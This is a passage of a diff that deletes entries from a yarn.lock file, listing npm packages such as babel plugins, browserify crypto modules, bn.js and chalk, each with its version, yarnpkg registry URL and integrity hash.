-    babel-plugin-syntax-exponentiation-operator "^6.8.0"
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-regenerator@^6.22.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.26.0.tgz#e0703696fbde27f0a3efcacf8b4dca2f7b3a8f2f"
-  integrity sha1-4HA2lvveJ/Cj78rPi03KL3s6jy8=
-  dependencies:
-    regenerator-transform "^0.10.0"
-
-babel-plugin-transform-strict-mode@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz#d5faf7aa578a65bbe591cf5edae04a0c67020758"
-  integrity sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-preset-env@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/babel-preset-env/-/babel-preset-env-1.7.0.tgz#dea79fa4ebeb883cd35dab07e260c1c9c04df77a"
-  integrity sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==
-  dependencies:
-    babel-plugin-check-es2015-constants "^6.22.0"
-    babel-plugin-syntax-trailing-function-commas "^6.22.0"
-    babel-plugin-transform-async-to-generator "^6.22.0"
-    babel-plugin-transform-es2015-arrow-functions "^6.22.0"
-    babel-plugin-transform-es2015-block-scoped-functions "^6.22.0"
-    babel-plugin-transform-es2015-block-scoping "^6.23.0"
-    babel-plugin-transform-es2015-classes "^6.23.0"
-    babel-plugin-transform-es2015-computed-properties "^6.22.0"
-    babel-plugin-transform-es2015-destructuring "^6.23.0"
-    babel-plugin-transform-es2015-duplicate-keys "^6.22.0"
-    babel-plugin-transform-es2015-for-of "^6.23.0"
-    babel-plugin-transform-es2015-function-name "^6.22.0"
-    babel-plugin-transform-es2015-literals "^6.22.0"
-    babel-plugin-transform-es2015-modules-amd "^6.22.0"
-    babel-plugin-transform-es2015-modules-commonjs "^6.23.0"
-    babel-plugin-transform-es2015-modules-systemjs "^6.23.0"
-    babel-plugin-transform-es2015-modules-umd "^6.23.0"
-    babel-plugin-transform-es2015-object-super "^6.22.0"
-    babel-plugin-transform-es2015-parameters "^6.23.0"
-    babel-plugin-transform-es2015-shorthand-properties "^6.22.0"
-    babel-plugin-transform-es2015-spread "^6.22.0"
-    babel-plugin-transform-es2015-sticky-regex "^6.22.0"
-    babel-plugin-transform-es2015-template-literals "^6.22.0"
-    babel-plugin-transform-es2015-typeof-symbol "^6.23.0"
-    babel-plugin-transform-es2015-unicode-regex "^6.22.0"
-    babel-plugin-transform-exponentiation-operator "^6.22.0"
-    babel-plugin-transform-regenerator "^6.22.0"
-    browserslist "^3.2.6"
-    invariant "^2.2.2"
-    semver "^5.3.0"
-
-babel-register@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-register/-/babel-register-6.26.0.tgz#6ed021173e2fcb486d7acb45c6009a856f647071"
-  integrity sha1-btAhFz4vy0htestFxgCahW9kcHE=
-  dependencies:
-    babel-core "^6.26.0"
-    babel-runtime "^6.26.0"
-    core-js "^2.5.0"
-    home-or-tmp "^2.0.0"
-    lodash "^4.17.4"
-    mkdirp "^0.5.1"
-    source-map-support "^0.4.15"
-
-babel-runtime@^6.18.0, babel-runtime@^6.22.0, babel-runtime@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe"
-  integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4=
-  dependencies:
-    core-js "^2.4.0"
-    regenerator-runtime "^0.11.0"
-
-babel-template@^6.24.1, babel-template@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-template/-/babel-template-6.26.0.tgz#de03e2d16396b069f46dd9fff8521fb1a0e35e02"
-  integrity sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=
-  dependencies:
-    babel-runtime "^6.26.0"
-    babel-traverse "^6.26.0"
-    babel-types "^6.26.0"
-    babylon "^6.18.0"
-    lodash "^4.17.4"
-
-babel-traverse@^6.24.1, babel-traverse@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-traverse/-/babel-traverse-6.26.0.tgz#46a9cbd7edcc62c8e5c064e2d2d8d0f4035766ee"
-  integrity sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=
-  dependencies:
-    babel-code-frame "^6.26.0"
-    babel-messages "^6.23.0"
-    babel-runtime "^6.26.0"
-    babel-types "^6.26.0"
-    babylon "^6.18.0"
-    debug "^2.6.8"
-    globals "^9.18.0"
-    invariant "^2.2.2"
-    lodash "^4.17.4"
-
-babel-types@^6.19.0, babel-types@^6.24.1, babel-types@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-types/-/babel-types-6.26.0.tgz#a3b073f94ab49eb6fa55cd65227a334380632497"
-  integrity sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=
-  dependencies:
-    babel-runtime "^6.26.0"
-    esutils "^2.0.2"
-    lodash "^4.17.4"
-    to-fast-properties "^1.0.3"
-
-babelify@^7.3.0:
-  version "7.3.0"
-  resolved "https://registry.yarnpkg.com/babelify/-/babelify-7.3.0.tgz#aa56aede7067fd7bd549666ee16dc285087e88e5"
-  integrity sha1-qlau3nBn/XvVSWZu4W3ChQh+iOU=
-  dependencies:
-    babel-core "^6.0.14"
-    object-assign "^4.0.0"
-
-babylon@^6.18.0:
-  version "6.18.0"
-  resolved "https://registry.yarnpkg.com/babylon/-/babylon-6.18.0.tgz#af2f3b88fa6f5c1e4c634d1a0f8eac4f55b395e3"
-  integrity sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ==
-
-backoff@^2.5.0:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/backoff/-/backoff-2.5.0.tgz#f616eda9d3e4b66b8ca7fca79f695722c5f8e26f"
-  integrity sha1-9hbtqdPktmuMp/ynn2lXIsX44m8=
-  dependencies:
-    precond "0.2"
-
-balanced-match@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
-  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
-
-base-x@^3.0.2, base-x@^3.0.8:
-  version "3.0.8"
-  resolved "https://registry.yarnpkg.com/base-x/-/base-x-3.0.8.tgz#1e1106c2537f0162e8b52474a557ebb09000018d"
-  integrity sha512-Rl/1AWP4J/zRrk54hhlxH4drNxPJXYUaKffODVI53/dAsV4t9fBxyxYKAVPU1XBHxYwOWP9h9H0hM2MVw4YfJA==
-  dependencies:
-    safe-buffer "^5.0.1"
-
-base64-js@^1.3.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
-  integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
-
-base@^0.11.1:
-  version "0.11.2"
-  resolved "https://registry.yarnpkg.com/base/-/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f"
-  integrity sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==
-  dependencies:
-    cache-base "^1.0.1"
-    class-utils "^0.3.5"
-    component-emitter "^1.2.1"
-    define-property "^1.0.0"
-    isobject "^3.0.1"
-    mixin-deep "^1.2.0"
-    pascalcase "^0.1.1"
-
-bcrypt-pbkdf@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e"
-  integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=
-  dependencies:
-    tweetnacl "^0.14.3"
-
-bech32@1.1.4:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/bech32/-/bech32-1.1.4.tgz#e38c9f37bf179b8eb16ae3a772b40c356d4832e9"
-  integrity sha512-s0IrSOzLlbvX7yp4WBfPITzpAU8sqQcpsmwXDiKwrG4r491vwCO/XpejasRNl0piBMe/DvP4Tz0mIS/X1DPJBQ==
-
-bignumber.js@^9.0.0:
-  version "9.0.1"
-  resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.0.1.tgz#8d7ba124c882bfd8e43260c67475518d0689e4e5"
-  integrity sha512-IdZR9mh6ahOBv/hYGiXyVuyCetmGJhtYkqLBpTStdhEGjegpPlUawydyaF3pbIOFynJTpllEs+NP+CS9jKFLjA==
-
-binary-extensions@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
-  integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
-
-bip39@2.5.0:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/bip39/-/bip39-2.5.0.tgz#51cbd5179460504a63ea3c000db3f787ca051235"
-  integrity sha512-xwIx/8JKoT2+IPJpFEfXoWdYwP7UVAoUxxLNfGCfVowaJE7yg1Y5B1BVPqlUNsBq5/nGwmFkwRJ8xDW4sX8OdA==
-  dependencies:
-    create-hash "^1.1.0"
-    pbkdf2 "^3.0.9"
-    randombytes "^2.0.1"
-    safe-buffer "^5.0.1"
-    unorm "^1.3.3"
-
-blakejs@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/blakejs/-/blakejs-1.1.0.tgz#69df92ef953aa88ca51a32df6ab1c54a155fc7a5"
-  integrity sha1-ad+S75U6qIylGjLfarHFShVfx6U=
-
-bluebird@^3.5.0, bluebird@^3.5.2:
-  version "3.7.2"
-  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
-  integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
-
-bn.js@4.11.6:
-  version "4.11.6"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.11.6.tgz#53344adb14617a13f6e8dd2ce28905d1c0ba3215"
-  integrity sha1-UzRK2xRhehP26N0s4okF0cC6MhU=
-
-bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.10.0, bn.js@^4.11.0, bn.js@^4.11.1, bn.js@^4.11.6, bn.js@^4.11.8, bn.js@^4.11.9, bn.js@^4.4.0, bn.js@^4.8.0:
-  version "4.12.0"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
-  integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==
-
-bn.js@^5.0.0, bn.js@^5.1.1, bn.js@^5.1.2:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002"
-  integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==
-
-body-parser@1.19.0, body-parser@^1.16.0:
-  version "1.19.0"
-  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
-  integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==
-  dependencies:
-    bytes "3.1.0"
-    content-type "~1.0.4"
-    debug "2.6.9"
-    depd "~1.1.2"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    on-finished "~2.3.0"
-    qs "6.7.0"
-    raw-body "2.4.0"
-    type-is "~1.6.17"
-
-brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
-  dependencies:
-    balanced-match "^1.0.0"
-    concat-map "0.0.1"
-
-braces@^2.3.1:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/braces/-/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729"
-  integrity sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==
-  dependencies:
-    arr-flatten "^1.1.0"
-    array-unique "^0.3.2"
-    extend-shallow "^2.0.1"
-    fill-range "^4.0.0"
-    isobject "^3.0.1"
-    repeat-element "^1.1.2"
-    snapdragon "^0.8.1"
-    snapdragon-node "^2.0.1"
-    split-string "^3.0.2"
-    to-regex "^3.0.1"
-
-braces@^3.0.1, braces@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
-  integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
-  dependencies:
-    fill-range "^7.0.1"
-
-brorand@^1.0.1, brorand@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
-  integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
-
-browser-stdout@1.3.1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/browser-stdout/-/browser-stdout-1.3.1.tgz#baa559ee14ced73452229bad7326467c61fabd60"
-  integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==
-
-browserify-aes@^1.0.0, browserify-aes@^1.0.4, browserify-aes@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
-  integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==
-  dependencies:
-    buffer-xor "^1.0.3"
-    cipher-base "^1.0.0"
-    create-hash "^1.1.0"
-    evp_bytestokey "^1.0.3"
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-browserify-cipher@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
-  integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==
-  dependencies:
-    browserify-aes "^1.0.4"
-    browserify-des "^1.0.0"
-    evp_bytestokey "^1.0.0"
-
-browserify-des@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c"
-  integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==
-  dependencies:
-    cipher-base "^1.0.1"
-    des.js "^1.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-browserify-rsa@^4.0.0, browserify-rsa@^4.0.1:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d"
-  integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==
-  dependencies:
-    bn.js "^5.0.0"
-    randombytes "^2.0.1"
-
-browserify-sign@^4.0.0:
-  version "4.2.1"
-  resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3"
-  integrity sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==
-  dependencies:
-    bn.js "^5.1.1"
-    browserify-rsa "^4.0.1"
-    create-hash "^1.2.0"
-    create-hmac "^1.1.7"
-    elliptic "^6.5.3"
-    inherits "^2.0.4"
-    parse-asn1 "^5.1.5"
-    readable-stream "^3.6.0"
-    safe-buffer "^5.2.0"
-
-browserslist@^3.2.6:
-  version "3.2.8"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-3.2.8.tgz#b0005361d6471f0f5952797a76fc985f1f978fc6"
-  integrity sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==
-  dependencies:
-    caniuse-lite "^1.0.30000844"
-    electron-to-chromium "^1.3.47"
-
-bs58@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/bs58/-/bs58-4.0.1.tgz#be161e76c354f6f788ae4071f63f34e8c4f0a42a"
-  integrity sha1-vhYedsNU9veIrkBx9j806MTwpCo=
-  dependencies:
-    base-x "^3.0.2"
-
-bs58check@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/bs58check/-/bs58check-2.1.2.tgz#53b018291228d82a5aa08e7d796fdafda54aebfc"
-  integrity sha512-0TS1jicxdU09dwJMNZtVAfzPi6Q6QeN0pM1Fkzrjn+XYHvzMKPU3pHVpva+769iNVSfIYWf7LJ6WR+BuuMf8cA==
-  dependencies:
-    bs58 "^4.0.0"
-    create-hash "^1.1.0"
-    safe-buffer "^5.1.2"
-
-buffer-from@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
-  integrity sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==
-
-buffer-to-arraybuffer@^0.0.5:
-  version "0.0.5"
-  resolved "https://registry.yarnpkg.com/buffer-to-arraybuffer/-/buffer-to-arraybuffer-0.0.5.tgz#6064a40fa76eb43c723aba9ef8f6e1216d10511a"
-  integrity sha1-YGSkD6dutDxyOrqe+PbhIW0QURo=
-
-buffer-xor@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
-  integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
-
-buffer-xor@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-2.0.2.tgz#34f7c64f04c777a1f8aac5e661273bb9dd320289"
-  integrity sha512-eHslX0bin3GB+Lx2p7lEYRShRewuNZL3fUl4qlVJGGiwoPGftmt8JQgk2Y9Ji5/01TnVDo33E5b5O3vUB1HdqQ==
-  dependencies:
-    safe-buffer "^5.1.1"
-
-buffer@^5.0.5, buffer@^5.2.1, buffer@^5.5.0, buffer@^5.6.0:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.7.1.tgz#ba62e7c13133053582197160851a8f648e99eed0"
-  integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==
-  dependencies:
-    base64-js "^1.3.1"
-    ieee754 "^1.1.13"
-
-bufferutil@^4.0.1:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/bufferutil/-/bufferutil-4.0.3.tgz#66724b756bed23cd7c28c4d306d7994f9943cc6b"
-  integrity sha512-yEYTwGndELGvfXsImMBLop58eaGW+YdONi1fNjTINSY98tmMmFijBG6WXgdkfuLNt4imzQNtIE+eBp1PVpMCSw==
-  dependencies:
-    node-gyp-build "^4.2.0"
-
-bytes@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
-  integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
-
-bytewise-core@^1.2.2:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/bytewise-core/-/bytewise-core-1.2.3.tgz#3fb410c7e91558eb1ab22a82834577aa6bd61d42"
-  integrity sha1-P7QQx+kVWOsasiqCg0V3qmvWHUI=
-  dependencies:
-    typewise-core "^1.2"
-
-bytewise@~1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/bytewise/-/bytewise-1.1.0.tgz#1d13cbff717ae7158094aa881b35d081b387253e"
-  integrity sha1-HRPL/3F65xWAlKqIGzXQgbOHJT4=
-  dependencies:
-    bytewise-core "^1.2.2"
-    typewise "^1.0.3"
-
-cache-base@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
-  integrity sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==
-  dependencies:
-    collection-visit "^1.0.0"
-    component-emitter "^1.2.1"
-    get-value "^2.0.6"
-    has-value "^1.0.0"
-    isobject "^3.0.1"
-    set-value "^2.0.0"
-    to-object-path "^0.3.0"
-    union-value "^1.0.0"
-    unset-value "^1.0.0"
-
-cacheable-request@^6.0.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/cacheable-request/-/cacheable-request-6.1.0.tgz#20ffb8bd162ba4be11e9567d823db651052ca912"
-  integrity sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==
-  dependencies:
-    clone-response "^1.0.2"
-    get-stream "^5.1.0"
-    http-cache-semantics "^4.0.0"
-    keyv "^3.0.0"
-    lowercase-keys "^2.0.0"
-    normalize-url "^4.1.0"
-    responselike "^1.0.2"
-
-cachedown@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/cachedown/-/cachedown-1.0.0.tgz#d43f036e4510696b31246d7db31ebf0f7ac32d15"
-  integrity sha1-1D8DbkUQaWsxJG19sx6/D3rDLRU=
-  dependencies:
-    abstract-leveldown "^2.4.1"
-    lru-cache "^3.2.0"
-
-call-bind@^1.0.0, call-bind@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c"
-  integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==
-  dependencies:
-    function-bind "^1.1.1"
-    get-intrinsic "^1.0.2"
-
-camelcase@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-3.0.0.tgz#32fc4b9fcdaf845fcdf7e73bb97cac2261f0ab0a"
-  integrity sha1-MvxLn82vhF/N9+c7uXysImHwqwo=
-
-camelcase@^6.0.0:
-  version "6.2.0"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.2.0.tgz#924af881c9d525ac9d87f40d964e5cea982a1809"
-  integrity sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==
-
-caniuse-lite@^1.0.30000844:
-  version "1.0.30001228"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001228.tgz#bfdc5942cd3326fa51ee0b42fbef4da9d492a7fa"
-  integrity sha512-QQmLOGJ3DEgokHbMSA8cj2a+geXqmnpyOFT0lhQV6P3/YOJvGDEwoedcwxEQ30gJIwIIunHIicunJ2rzK5gB2A==
-
-caseless@~0.12.0:
-  version "0.12.0"
-  resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
-  integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
-
-chai@^4.2.0:
-  version "4.3.4"
-  resolved "https://registry.yarnpkg.com/chai/-/chai-4.3.4.tgz#b55e655b31e1eac7099be4c08c21964fce2e6c49"
-  integrity sha512-yS5H68VYOCtN1cjfwumDSuzn/9c+yza4f3reKXlE5rUg7SFcCEy90gJvydNgOYtblyf4Zi6jIWRnXOgErta0KA==
-  dependencies:
-    assertion-error "^1.1.0"
-    check-error "^1.0.2"
-    deep-eql "^3.0.1"
-    get-func-name "^2.0.0"
-    pathval "^1.1.1"
-    type-detect "^4.0.5"
-
-chalk@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-  integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
-  dependencies:
-    ansi-styles "^2.2.1"
-    escape-string-regexp "^1.0.2"
-    has-ansi "^2.0.0"
-    strip-ansi "^3.0.0"
-    supports-color "^2.0.0"
-
-chalk@^2.4.1, chalk@^2.4.2:
-  version "2.4.2"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
-  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
-  dependencies:
-    ansi-styles "^3.2.1"
-    escape-string-regexp "^1.0.5"
-    supports-color "^5.3.0"
-
-chalk@^4.0.0:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.1.tgz#c80b3fab28bf6371e6863325eee67e618b77e6ad"
-  integrity sha512-diHzdDKxcU+bAsUboHLPEDQiw0qEe0qd7SYUn3HgcFlWgbDcfLGswOHYeGrHKzG9z6UYf01d9VFMfZxPM1xZSg==
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-check-error@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/check-error/-/check-error-1.0.2.tgz#574d312edd88bb5dd8912e9286dd6c0aed4aac82"
-  integrity sha1-V00xLt2Iu13YkS6Sht1sCu1KrII=
-
-checkpoint-store@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/checkpoint-store/-/checkpoint-store-1.1.0.tgz#04e4cb516b91433893581e6d4601a78e9552ea06"
-  integrity sha1-BOTLUWuRQziTWB5tRgGnjpVS6gY=
-  dependencies:
-    functional-red-black-tree "^1.0.1"
-
-chokidar@3.5.1:
-  version "3.5.1"
-  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a"
-  integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==
-  dependencies:
-    anymatch "~3.1.1"
-    braces "~3.0.2"
-    glob-parent "~5.1.0"
-    is-binary-path "~2.1.0"
-    is-glob "~4.0.1"
-    normalize-path "~3.0.0"
-    readdirp "~3.5.0"
-  optionalDependencies:
-    fsevents "~2.3.1"
-
-chownr@^1.1.1:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
-  integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==
-
-ci-info@^2.0.0:
-  version "2.0.0"
